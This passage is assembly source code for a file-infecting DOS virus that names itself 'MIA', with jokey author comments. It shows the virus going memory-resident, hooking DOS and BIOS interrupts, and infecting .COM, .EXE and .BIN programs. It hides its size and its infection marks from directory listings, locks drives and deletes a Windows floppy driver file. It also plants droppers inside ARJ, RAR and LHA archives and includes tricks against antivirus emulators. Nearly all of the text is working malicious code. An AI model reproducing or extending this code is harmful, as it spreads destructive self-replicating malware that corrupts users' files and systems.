;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Subsegment: cmp ds:word ptr [bx + 08h],4254h jne True_Block add si,00BBh ; Well, adjust offset instead of change DS lodsw cmp ax,809Ch ; PUSHF + CMP X,Y je Watchdog sub ax,5655h ; PUSH BP SI ? jnz True_Block cmp ds:word ptr [bx + 0Ah],454Dh jne True_Block mov ds:byte ptr [si + 0D5h],0D9h jmp short True_Block Watchdog: lodsw xor ax,13FCh ; X = AH, Y = 13 jnz True_Block lodsw add ax,0F98Ch ; JZ $ + 06 jnz True_Block lodsw sub ax,0EA9Dh ; POPF + JMP FAR XXXX:YYYY jnz True_Block and ds:[si - 03h],bh ; Patch it! True_Block: stc mov cx,dx ; Add with segment of first byte beyond allocated mov di,ds:[bx + 03h] ; memory. adc dx,di cmp ds:[bx + 01h],bx jne Used_Block push ds pop es Used_Block: cmp ds:byte ptr [bx],5Ah ; 'Z' - the last MCB in chain jne More_Block mov dl,5Ah ret ;ÄÄÄÄÄÄÄ[ Entry point (after decryption) of .BIN, .COM, .EXE, files ]ÄÄÄÄÄÄÄÄÄ Vanguard: cld push ds es Grind: mov ax,1983h ; Yohoo...! MIA... My cutie...! mov si,0BABEh ; Are You there, sweetheart?? mov di,0FEEDh ; Is that really You, honey?? db 0BDh ; MOV BP,XXXX Delta dw offset VirBeg ; Relocation constant sti int 21h ; uhm... *smack* mov ax,0DADAh ; This is alternative call, if MIA has been int 10h ; resident (on booting) but hasn't hooked INT 21h Returned: mov ah,30h ; Obtain DOS version, int 21h ; this check is lame 'cause can be easily faked cmp al,04h ; by changing the word at PSP:0040h, instead jb Loaded ; we can use AX=3306h to do it for DOS v5.00+ call Seek_Block ; Search for last MCB in chain pop si ; SI = current PSP segment push si dec si ; SI = current PSP's MCB sub di,ParSiz ; Subtract needed number of paragraphs jbe Unfit ; Jump if there's enough space for us cmp ds:[bx + 01h],bx ; Is the last MCB in chain a free block? je Free_Block ; Yes, so jump cmp si,cx ; Is it the host program's MCB ? je Free_Block ; Bomb if yes Unfit: mov dl,4Dh ; 'M' Unable: mov cx,si mov ds,cx ; DS = CX = SI = host's MCB mov di,ds:[bx + 03h] ; Get its size sub di,ParSiz ; Subtract needed paragraphs number from it ja Free_Block ; Branch if enough space Another_Block: mov si,es ; Try another block... cmp cx,si jne Unable Loaded: push 0000h int 11h ; Obtain BIOS equipment list byte pop ds sub ax,ds:[0410h] ; This is the same as invoking INT 11h above, xor ax,offset Backward ; so AX will be zero, but some emulators, for add ax,bp ; instance, TbClean passes INT 11h, so what'll push ax cs ; happen then? crash!! (but I doubt whether pop ds ; TbClean can reach this point, since it always lea si,[bp + 03h] ; stops within polymorphic decryptor). jmp Scrap ; Decrypt file header Free_Block: mov ax,cx inc ax stc adc ax,di ; AX = our brand-new viral segment push ax mov ax,bp ; Get delta offset, shr ax,04h ; convert it into paragraphs inc ax ; Just to make sure... mov si,cs add si,ax pop ax sub si,ax jnc Low_Block ; CF=0 ÄÄÄ new segment is below host's MCB ?? cmp si,-((VirLen / 10h) + 11h) jnbe Another_Block ; ?? Low_Block: mov ds:byte ptr [bx],4Dh ; It will be no longer the last MCB mov ds:[bx + 03h],di ; Modify last block size cmp ds:word ptr [bx + 10h],20CDh jne Invalid_PSP sub ds:word ptr [bx + 12h],ParSiz Invalid_PSP: mov es,ax ; ES = MIA's first transient segment call Forward ; Build viral MCB mov cx,(VirLen - Mutant) / 02h mov si,bp ; BP contains the Beginning-Of-Virus and di,bx ; Copy codes to first resident block... db 2Eh ; CS: repe movsw ; [SI] ÄÄÄ ES:[DI] mov dx,0005h ; Drive permissions, allow writes & formatting mov cx,084Bh ; Function CX=084Bh, lock physical drive mov bh,01h ; BH = lock level, BL = physical drive number Lockup: mov ax,440Dh ; DOS function AX=440Dh, generic IOCTL int 21h ; This function is only valid if MS-DOS version inc bx ; is 7.00 or greater (Win32)!! cmp bl,81h ; Lock all physical floppy drives and first jb Lockup ; hard drive only sub bx,bx mov es:byte ptr [Black_Hole + 01h],0A9h mov es:[F_Hand],bx call Follow ; Look for INT 21h entry point cli ; Disable interrupts mov si,0805h ; ??? mov ds,bx ; (0000h:0806h) original INT 13h to restore on lodsb ; system halt or INT 19h call cmp al,13h ; Vector of original INT 13h ?? jne Strange lodsw ; Load a word xchg ax,dx ; Store it into DX lodsw ; Get its segment cmp ax,0C000h mov ds,ax ; Store it into DS jb Strange inc ax ; Address points to HMA ? jnz Kernel ; If not, then believe it... 8-) Strange: push es mov ah,13h ; Multiplex interrupt, service AH=13h int 2Fh ; Get and set disk interrupt handler pop es Kernel: ; DS:DX is now holding INT 13h ROM entry point push es ; instead we can take it from 0070h:00B4h call Uppercore ; Install interrupts mov ah,13h ; Get/set disk interrupt handler mov bx,dx int 2Fh ; Now hook INT 13h pop ds ; DS now holds MIA's resident segment call FreeVector ; Get random interrupt in AL mov dx,offset Grip push ds call Vectorize ; Point the interrupt to viral INT 09h handler xor al,0CDh ; INT opcode mov bx,ds ; BX = zero pop es mov di,offset Prebuff mov ah,es:[di - 01h] mov ds:[04EEh],ax ; Put INT ?? opcode at 0000h:04EEh lds si,ds:[bx + 24h] ; Load INT 09h vector mov es:word ptr [Keyboard],si mov es:word ptr [Keyboard + 02h],ds movsw movsw ; Copy the first 5 bytes into buffer movsb mov ds:byte ptr [si - 05h],0EAh mov ds:word ptr [si - 04h],04EEh mov ds:[si - 02h],bx ; Now the first instruction at INT 09h vector sti ; is a far JMP to 0000h:04EEh add cs:byte ptr [bp + ExOr],0F8h call Scramble ; Scramble some bytes mov cs:byte ptr [bp + Swapper + 03h],26h sub cs:byte ptr [bp + ZigAZig],08h call Swapper ; Now hook INT 21h jmp Grind ; You may say that 'tis also an anti-emulator ; technique Forward: mov cx,es dec cx mov ds,cx ; DS = Viral MCB mov ds:[bx],dl ; Block mark mov ds:word ptr [bx + 03h],VirPar Remark: mov ah,53h in al,40h and al,01h add al,43h ; 'SC' - System Code or 'SD' - System Data xchg ah,al mov ds:word ptr [bx + 01h],0008h mov ds:[bx + 08h],ax ; Name of block owner mov ds:[bx + 0Ah],bh ; Ends with ASCIZ (is this necessary?) ret SubTtl Cum deo bene, faciendo bene faciet... Follow: push bx es mov ah,52h ; Get DOS List-Of-Lists int 21h lds si,es:[bx + 04h] ; Load pointer to first System File Table lds si,ds:[si - 04h] ; ?? Sideswipe: dec si ; Backward search jnz Keep_Seek mov ds,si lds si,ds:[0084h] ; If not found, take the vector from IVT jmp short Standard ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Let's assume the vector of INT 21h in IVT points at 00C9:0FB2 ; ; 00C9:0FB2 90 NOP ÄĀÄ These 2 NOPs will be a short JMP ; 00C9:0FB3 90 NOP ÄŁ to 0FB7 if no XMS driver installed ; 00C9:0FB4 E8 CE 00 CALL 1085 ÄÄÄ A20 line check subroutine ; 00C9:0FB7 2E FF 2E 82 0F JMP CS:FAR [0F82] ÄÄÄ JMP FF33:41E9 ; ; This is MS-DOS v7.10 kernel, take a look! (MIA hasn't yet TSR) ; ; FF33:41E5 8A E1 MOV AH,CL ÄÄÄ For CP/M style call ; FF33:41E7 EB 06 JMP 41EF ; FF33:41E9 FA CLI ÄÄÄ DOS kernel entry point ; FF33:41EA 80 FC 73 CMP AH,73 ; FF33:41ED 77 D2 JA 41C1 ; FF33:41EF 80 FC 33 CMP AH,33 ÄÄÄ Target JMP of CP/M call ; FF33:41F2 72 18 JB 420C ; FF33:41F4 74 A2 JZ 4198 ; ; And now MIA has already been resident, behold! ; ; FF33:41E5 8A E1 MOV AH,CL ; FF33:41E7 EB 06 JMP 41EF ; FF33:41E9 FA CLI ; FF33:41EA 80 FC 73 CMP AH,73 ; FF33:41ED 77 D2 JA 41C1 ; FF33:41EF CD 83 INT 83 ÄÄÄ Points at viral handler ; FF33:41F1 33 72 18 XOR SI,[BP+SI+18] ; FF33:41F4 74 A2 JZ 4198 ; ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Keep_Seek: cmp ds:word ptr [si],0E18Ah jne Sideswipe ; MOV AH,CL ÄÄÄ for CP/M call style (see above) cmp ds:byte ptr [si + 02h],0EBh jne Sideswipe ; Short JMP ? add si,0003h lodsb ; Get JMP displacement cbw ; Convert byte into word add si,ax ; DS:[SI] = JMP's target Standard: pop es bx mov es:word ptr [Viral_Interrupt],si mov es:word ptr [Viral_Interrupt + 02h],ds ret ;ÄÄÄÄÄÄ[ Check whether file at DS:SI has BIN/COM/EXE extension or not ]ÄÄÄÄÄÄÄ Specify: lodsb or al,al jnz Specify ; Looking for ASCIZ mov cl,0Eh lea si,[si - 03h] std ; Decrement direction lodsw and ax,0DFDFh cmp ax,4D4Fh ; 'MO' - .COM file? jne Rendition mov ch,43h ; 'C.' Lastword: lodsw and ax,0DFDFh ; Convert AX to uppercase cmp cx,ax Invalid: cld ret Rendition: cmp ax,4558h ; 'EX' - is it .EXE file? jne Binary xchg ch,ah ; 'E.' jmp short Lastword Binary: xor ax,4E49h ; 'NI' - ?IN jnz Invalid mov ch,42h ; 'B' - .BIN file? jmp short Lastword ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=4Eh/4Fh dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Underground: popf int 03h ; Call DOS function first pushf jc Quickie call Flip ; Push 'em mov ah,2Fh int 03h ; Get DTA address push es lea si,[bx + 1Eh] ; ES:[BX+1Eh] = ASCIZ filename sub di,di pop ds ; DS = ES call Specify je Interweave jmp short Failure ; Jump if not .BIN, .COM, or .EXE ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=11h/12h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Impulsive: ; Try to hide file size thru FCB popf int 03h pushf and al,al jnz Quickie call Flip ; Push all registers mov ah,2Fh mov di,0002h int 03h ; Get DTA address cmp es:byte ptr [bx],0FFh ; Normal/eXtended FCB ? (NFCB/XFCB) jb Inextend lea bx,[bx + di + 05h] ; XFCB has an additional seven bytes. Inextend: ; Then, check attributes for infection mark push es mov ax,5845h ; 'XE' inc bx pop ds ; DS = ES cmp ds:[bx + 08h],ax ; Blank-padded filename, so extension is always je Affirm ; at ES:[BX+08h] add al,09h ; 'N' cmp ds:word ptr [bx + 08h],4942h je Affirm dec ax ; 'M' cmp ds:word ptr [bx + 08h],4F43h jne Failure Affirm: cmp ds:[bx + 0Ah],al ; Third character of file extension jne Failure Interweave: cmp ds:byte ptr [bx + 19h],0C7h jbe Failure push bx di call Unarchive ; A sucker is around? pop di bx jbe Failure ; Need to kick some ass? les dx,ds:[bx + di + 1Ah] ; Get 32-bit file size mov cx,es ; Copy hi-size into CX sub dx,VirLen ; Subtract virus size from file size sbb cx,0000h ; Fixup for hi-size jb Failure ; ?? mov ds:[bx + di + 1Ah],dx mov ds:[bx + di + 1Ch],cx ; Set new size, 8-) Failure: call Flop ; Pop all registers Quickie: jmp Request ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=57h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Stamp: cmp al,01h ; Get/set date/time stamps? ja Saviour ; Branch if not call Verify test al,al ; Zero AL ? jz Awesome ; Jump if getting stamps cmp dh,37h ; Year 2007+ ? jnbe Saviour add dh,0C8h ; If not above, back to the future... he he he... Awesome: popf int 03h ; Obtain the stamps pushf sub dh,0C8h ; He he he... turn back the time... Helper: jmp short Quickie ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=42h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Pointseek: cmp al,02h ; Lseek from EOF ? jne Saviour call Verify ; Check the infection mark push cx sub dx,VirLen ; Adjust pointer sbb cx,0000h ; so He won't be able to touch My MIA int 03h pop cx ; Restore CX jmp short Quickie ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=3Ch/5Bh/6Ch dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This routine is shared with function 3Ch, 5Bh, Creative: ; and 6Ch to be efficient cmp cs:[F_Hand],0001h jb Brand_New Saviour: jmp Clueless ; If not zero, We're waiting for an opened file Brand_New: pusha ; Push all registers except segment ones cmp ah,6Ch ; Extended open/create? je Extensive mov si,dx ; if not, it's at DS:DX Extensive: call Specify ; Check filename at DS:[SI] popa ; Pop all registers except segment ones jne Saviour ; Bail out if not .BIN, .COM, or .EXE popf ; Restore flags state mov cs:[Stuff_01],ah int 03h ; Execute original interrupt pushf ; Ugh! save flags again jc Quickie ; Error, MIA isn't responsible for that call Flip ; Push all registers push cs mov cs:[F_Hand],ax ; Store file handle cmp cs:[Stuff_01],6Ch je Extraneous ; Jump if extended open/create sub cx,cx mov si,dx ; It's at DS:DX Extraneous: mov ah,60h ; DOS service AH=60h mov di,offset FileName ; Canonize filename and put result at ES:[DI] pop es int 03h dec cx ; Check it out, open or create? call Flop jnz Quickie ; Jump if not open file mov ah,6Ch call Flip ; If opening file, the file already exists jmp short Macron ; So go infect it! ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=60h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; This handles function AH=60h which is generated by (undocumented) TRUENAME ; command, so any .BIN/.COM/.EXE file typed as its parameter will be infected ; as long as it exists 8-), for example, typing "TRUENAME C:\DIVA.EXE" at DOS ; prompt will cause the file C:\DIVA.EXE to be infected. ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Canonicalization: popf int 03h ; Call the function pushf jc Helper ; There's a problem, branch mov cs:[Character],ah ; Store returned AH, usually 00h or 3Dh mov ah,60h call Flip ; Push all registers push es cld ; Clear direction flag mov si,di pop ds ; ES:[DI] = buffer for canonized file/path name jmp short Seename ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=44h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IO_Control: cmp al,0Dh ; Generic block device request? jne Saviour ; Branch if not cmp cx,0871h ; Category code 08h, minor code 71h? (get file's jne Saviour ; first cluster) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=3Dh/41h/43h/4Bh/56h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; AX=4B00h : Loads & executes program at DS:DX with parameter at ES:[BX] ; AX=4B01h : Same as above but loads only (do not execute) ; AX=4B03h : Loads overlay at DS:DX ; AX=4B04h : Loads and execute in European MS-DOS background ; AX=4B05h : Set execution state ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Multitude: ; DS:DX points filename call Flip cmp ah,4Bh ; Execution? mov si,dx ; Make DS:[SI] points at filename jne Seename cmp al,05h ; Set execution state? ja Saviour ; Above?? yeah many viruses use this jb Seename ; Below?? no need to set up lds si,ds:[si + 04h] ; DS:[SI+04h] = pointer to ASCIZ filename Seename: push si call Specify ; Only allow .BIN, .COM, & .EXE files pop si jne Trixie Macron: mov cs:word ptr [F_Off],si mov cs:word ptr [F_Off + 02h],ds mov al,ss:[bp + 11h] ; Get requested function number cmp al,0Eh ; Function: change default drive? je Outside ; Branch if yes push cs mov cx,(offset Internal - offset Bait) - 01h mov si,cs:word ptr [F_Off] mov di,offset Internal - 01h Increment: inc si cmp ds:[si],ch ; Seek ASCIZ ja Increment std ; Set direction pop es repe cmpsb ; Compare some bytes ('MIA.COM') cld ; Clear direction jne Spick cmp es:word ptr [F_Off],si ; Compare SI with initial pointer ja Fox ; Jump if above cmp ds:byte ptr [si],2Fh ; '/' je Fox cmpsb ; '\' jne Spick Fox: call Flop ; Pop all registers mov ax,0020h ; "Sharing violation" ? jmp Return_Error Spick: cmp al,3Dh ; Open disk file? je Further cmp al,6Ch ; Extended open/create? jne Outside Further: call Unarchive ; Check whether there's a nigga in our midst jnbe Outside ; If a sucker is in its action, don't try to Trixie: ; infect the file! jmp Lollipop Outside: call Disable_Equipments ; Disable IRQ 1 & 2 mov al,13h lds dx,cs:[ROM_BIOS] ; Get disk interrupt handler vector call Vectorize ; Set INT 13h push cs pop ds mov ds:[bx - 2Dh],dx ; BX = 004Ch mov ds:[bx - 2Bh],cx push ds mov cx,(offset Lseek_BOF - offset Fixup) / 02h mov si,offset Fixup ; Copy some codes into unused buffer mov di,offset Slack ; (boot-record buffer) pop es repe movsw mov cl,offset Decryptor - offset Disk_IO mov si,offset Disk_IO repe movsb ; Copy INT 15h handler mov al,15h ; Installing viral INT 15h handler... mov dx,(offset Lseek_BOF - offset Fixup) + offset Slack call Vectorize xchg ax,dx stosw ; Save old vector xchg cx,ax stosw mov al,40h lds dx,es:[Flop_BIOS] ; Restore BIOS floppy disk handler call Vectorize xchg bx,ax mov cs:word ptr [bx + 23h],dx mov cs:word ptr [bx + 25h],cx mov ax,4A33h ; Multiplex INT, function AX=4A33h, MS-DOS int 2Fh ; v7.00+ installation check. dec ax ; AX = nonzero if older version or other DOS jnl Terrible ; Jump if OF & SF states don't differ xor si,si ; Warning: BX, DX, SI, and DS were destroyed! Devour: mov ah,62h ; (Equal to function AH=51h) int 03h ; Get current PSP segment in BX mov ds,bx mov ds,ds:[002Ch] ; Get segment of environment for current process Forcible: lodsb test al,al jnz Forcible ; Seek ASCIZ Wrong: lodsw and al,al ; If double ASCIZ, reaching the end of jz Terrible ; variables and strings in environment or ax,2020h ; Convert AX to lowercase xor ax,6977h ; 'wi' ? jnz Forcible ; Nope, seek again lodsb ; Get 3rd letter of that variable and al,0DFh ; Convert it to uppercase sub al,4Eh ; Is 3rd letter 'N' ? jnz Forcible ; No, another search Equalize: lodsb or al,al ; Zero? oh wrong variable! jz Wrong cmp al,3Dh ; Is it a '=' ? jne Equalize push es mov ax,4301h ; Function AX=4301h, set file attributes mov bx,si ; Save in BX mov cx,((offset Alloc - offset WinVxD) + 01h) / 02h mov dx,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset DIsk_IO) + 04h mov di,dx Outbuild: movsb ; Copy character into buffer cmp ds:[si],ch ; End of string? jne Outbuild ; Loop if not mov si,offset WinVxD pop ds repe movsw ; Copy VxD directory/filename just after it int 03h ; Clear attributes of HSFLOP.PDR jnc Spare ; Branch if not failed cmp al,02h ; Problem: file not found? jne Terrible mov si,bx ; That means the directory exists jmp short Devour ; MIA will seek the file again Spare: mov ah,3Ch int 03h ; Open and truncate the file jc Terrible ; Hmm, too many handles? mov bh,3Eh xchg bx,ax int 03h ; Then close the floppy VxD mov ah,41h int 03h ; And then unlink it! 8-) Terrible: mov ax,6C00h ; Extended open/create (for FAT32 drives?) mov bx,1000h ; BH = flags, BL = access mode cwd inc dx ; DX = action if file exists/not lds si,es:[F_Off] ; Load filename int 03h ; CX must be 0001h (file opened) if no error sbb cx,dx ; CX - DX - CF = 0001h - 0001h - 0000h = ? jcxz Slapjack ; Zero? so no problem! Garbage: jmp Zing Slapjack: ; Returns AX = handle push cs mov bx,1220h xchg ax,bx mov bp,bx ; Store file handle into BP pop ds int 2Fh ; Get Job File Table (JFT) entry to ES:[DI] jc Garbage mov ax,1216h sub bx,bx add bl,es:[di] ; Get SFT entry number for victim file handle cmp bl,0FEh ja Garbage ; Unopened? int 2Fh ; Get System file table (SFT) for handle BX mov ds:[SFT_Off],di ; Save SFT entry point vector mov ds:[SFT_Off + 02h],es mov al,es:[di + 05h] test al,40h ; Test... file has been written? jz Writeable ; Jump if yes and al,0BFh cmp al,02h ; File's in drive C ? jnb Writeable ; Bomb if not A or B mov al,04h ; Bit 2 - 3 set, read data from controller mov dx,03F5h ; Port 03F5h, 8272A = command for first FDC out dx,al mov ch,04h loop $ ; Wait while working... out dx,al mov ch,04h loop $ ; Wait again? 8-S in al,dx ; Read ST3 from port... test al,40h ; Test bit 6 if set... jnz Garbage ; Write protected??? jump if yes! 8-O Writeable: or es:byte ptr [di + 02h],02h xchg cx,ax xchg es:[di + 04h],al ; Clear attributes (avoids AV TSR watchdogs) and es:byte ptr [di + 05h],3Fh mov bx,sp xchg bp,bx ; BX = file handle, BP = SP les dx,es:[di + 0Dh] mov ds:[Old_Time],dx ; Store time stamp mov ds:[Old_Date],es ; Ditto... date stamp cmp ss:byte ptr [bp + 11h],0Eh jne Keep_Mode mov ds:[Old_Time],4800h ; Set file time to 09:00:00 AM mov ds:[Old_Date],0653h ; Set date to February 19th, 1983 or al,43h ; If dropping MIA.COM, set R/H attributes and ; bit-6 attributes so ATTRIB.EXE won't be able Keep_Mode: ; to change the file attributes, 8-) mov ds:[File_Attribs],al test al,1Ch ; System file, volume label, or directory? jnz Liveaid ; Bail out if yes call Lseek_BOF ; Lseek to BOF mov ah,3Fh ; Read function mov cl,18h ; First 24 bytes to read mov dl,offset Buffy ; Read buffer mov di,dx int 03h sbb cx,ax ; CX - AX - CF = Zero ? jnz Liveaid ; If ZF=0 probably the file is smaller than 24 push ds ; bytes or the disk has error lds si,ds:[di + 18h] ; Load pointer to filename SearchZero: lodsb and al,al ; ASCIZ ? jnz SearchZero dec si dec si mov cl,0Bh ; 11 characters to be compared mov bp,offset WinVxD std ; Set backward direction Scribble: dec bp lodsb ; Obtain a character or al,20h ; Convert to lowercase cmp cs:[bp],al loopz Scribble ; Loop while equal pop ds cld ; Clear direction jne Undergone mov ax,ds:[di] ; Put two first bytes into AX call Exe_Check ; Check the presence of .EXE signature je Undergone ; COMMAND.COM has .EXE format? infect it if so ; else, don't infect it Liveaid: mov dx,ds:[Old_Date] ; File date stamp cmp dh,0C8h jb Unset sub dh,0C8h ; Subtract a century from DH Unset: jmp Future_File Giveback: push cs pop ds mov ah,49h mov es,bp ; Release memory block int 03h push ds pop es ret Undergone: call Lseek_EOF ; Lseek to EOF mov ds:[di + 2Dh],ax mov ds:[di + 2Fh],dx ; Save file size mov ax,ds:[di] ; Get first word cmp ax,0EA60h ; ARJ archive?? je Archiver cmp ax,6152h ; RAR archive? je Process_RAR ; Maybe... cmp ds:word ptr [di + 03h],686Ch je Archiver ; LHA/LZH/PAK archive? yup! jmp Impeach Process_RAR: lea si,[di + 09h] ; SI = 000Ch lea di,[si - 01h] ; DI = 000Bh cmp ds:word ptr [si - 07h],2172h jne Liveaid ; Not 'Rar!', so bail out cmp ds:byte ptr [si],73h jne Archiver test ds:byte ptr [si + 01h],01h jnz Liveaid ; Don't infect multi-volume archive and ds:byte ptr [si + 01h],0DFh call CRC32 ; Remove AV bit flag, recalculate header's CRC mov ds:[di + 0Ah],cx ; DI = zero call Lseek_BOF ; Lseek to BOF mov cl,18h ; CX = 0018h mov dl,offset Buffy ; DX = 0003h call RightWrite ; Write it into file jnz Liveaid ; Bomb if there was a problem call Lseek_EOF ; Move file R/W pointer to EOF Archiver: mov ax,3D90h mov dx,offset Bait ; Open MIA.COM file for read-only mov ds:[Stuff_02],bx ; Save file handle int 03h jc Liveaid ; Huh? MIA hasn't dropped it... xchg ax,bx call Lseek_EOF ; Lseek to the EOF dec dx jge Liveaid ; SF = OF cmp ax,VirLen + VirVxD ; Virus length + dropper's host size jne Unreachable ; Check file size, is it okay? go on... call Lseek_BOF ; Lseek to the BOF push bx mov ah,48h ; Allocate memory for read buffer mov bx,((VirLen + VirVxD + 04h) / 10h) + 01h int 03h pop bx jnc Available ; Insufficient memory? mov ax,0C000h - ((VirLen + VirVxD + 14h) / 10h) Available: xchg bp,ax ; Save memory block segment in BP mov ah,3Fh mov cx,VirLen + VirVxD ; Read the entire dropper cwd mov ds,bp mov ds:word ptr [VirEnd + VirVxD],0EA60h mov ds:word ptr [VirEnd + VirVxD + 02h],dx int 03h sbb ax,cx ; AX = CX, and CF=0 if successful read pushf mov ah,3Eh ; Close the dropper int 03h popf jz Voyage ; All bytes have been read? Comedown: call Giveback Unreachable: jmp Liveaid Voyage: mov si,dx ; DX = SI = zero ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Calculate CRC-16 of our dropper, this will be done by a small subroutine, ; unlike other CRC-16 generators, this one does not need additional memory ; space (usually 1024 bytes) for CRC table like, for instance, UNPAK.EXE or ; Win32.INCA virus (I wonder why Vecna used that). Thanks to Zhengxi, Ltd. ; for its run-time CRC-32 generator which inspired Me to write this (I can't ; believe it, if CRC-16 generator can be made as simple as this one, so why ; should we bother to create huge CRC table?). ; On entry: CX = number of bytes of data to be calculated ; DS:SI = first byte of data to be calculated ; Return: AX = destroyed ; CX = zero ; DX = CRC-16 value ; DS:SI = first byte after last byte of data ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ CRC16: ; This is only needed in .LHA/.LZH/.PAK infection sub ax,ax lodsb xor al,dl mov dl,dh mov dh,08h ; Process 8 bits Shifting: shr ax,01h jnc Skip_CRC xor ax,0A001h ; Does anyone know why I should use this value? Skip_CRC: ; I've sworn that if MIA's CRC-16 generator dec dh ; needs to build a CRC table before doing jnz Shifting ; calculation, I wouldn't bother to include xor dx,ax ; .LHA/.LZH/.PAK infection. 8-) loop CRC16 push dx xchg di,si xchg si,cx call CRC32 ; Calculate CRC-32 of dropper, this is used push cs ; for .ARJ and .RAR infections pop ds ax mov bx,ds:[di + 45h] ; Get .ARJ/.LHA/.LZH/.PAK/.RAR file handle cmp ds:byte ptr [di + 03h],52h mov di,offset RARName je Rarphile ; Jump and process RAR archive cmp ds:byte ptr [Buffy + 03h],6Ch mov di,offset Fleet ; DI points to MIA's ARJ header, filename field jne Process_ARJ ; Branch and process ARJ archive ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .LHA/.LZH/.PAK files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push ax ; Save dropper's CRC-16 on stack mov di,offset Filing call Random_Name ; Generate random filename (with random length) pop ax stosw ; Store value of CRC-16 just after filename mov al,4Dh stosb ; Set up some stuff... xchg si,ax stosw sub di,offset Head_3 push di ; DI = total header size sub di,(offset Filing - offset Head_3) + 05h xchg ax,di mov ds:[LHA_FNS],al ; AL = filename length add al,(offset RARType - offset Method) - (offset LHA_CRC - offset Filing) mov ds:[Head_3],al ; AL = header subsize xchg cx,ax clc setalc ; Zero as initial value mov si,offset Method ; Now calculate header's checksum... Checksum: ; He he he, Vecna said that this checksum's add al,ds:[si] ; funny, I think He's right. 8-) inc si loop Checksum mov ds:[Head_4],al ; Store header's checksum into its field mov ax,4202h dec cx or dx,cx int 03h ; Lseek to EOF - 1 pop cx mov dx,offset Head_3 call RightWrite ; Write viral LHA/LZH/PAK header jnz Tail mov cx,VirLen + VirVxD + 01h mov ds,bp mov ds:byte ptr [VirEnd + VirVxD],al jmp short Overdrop ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .RAR files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Rarphile: mov ds:word ptr [RAR_CRC],cx mov ds:word ptr [RAR_CRC + 02h],dx call Random_Name ; Create new random name for dropper sub di,offset Head_5 ; DI holds total size of RAR header mov ds:[Head_6],di ; Store it into header push di ; Save on stack for later usage sub di,offset RARName - offset Head_5 mov ds:[RAR_FNS],di ; DI = size of dropper filename (no ASCIZ) mov si,offset RARType add di,offset RARName - offset RARType call CRC32 ; Calculate RAR header's CRC-32 mov ds:[Head_5],cx ; But RAR archiver just needs the lower 16-bit pop cx ; CX = RAR header size mov dx,offset Head_5 call RightWrite ; Write RAR header Tail: jnz Blackday ; Error? mov cx,VirLen + VirVxD ; Virus length + dropper size jmp short Overdrop ; Now write the dropper into file 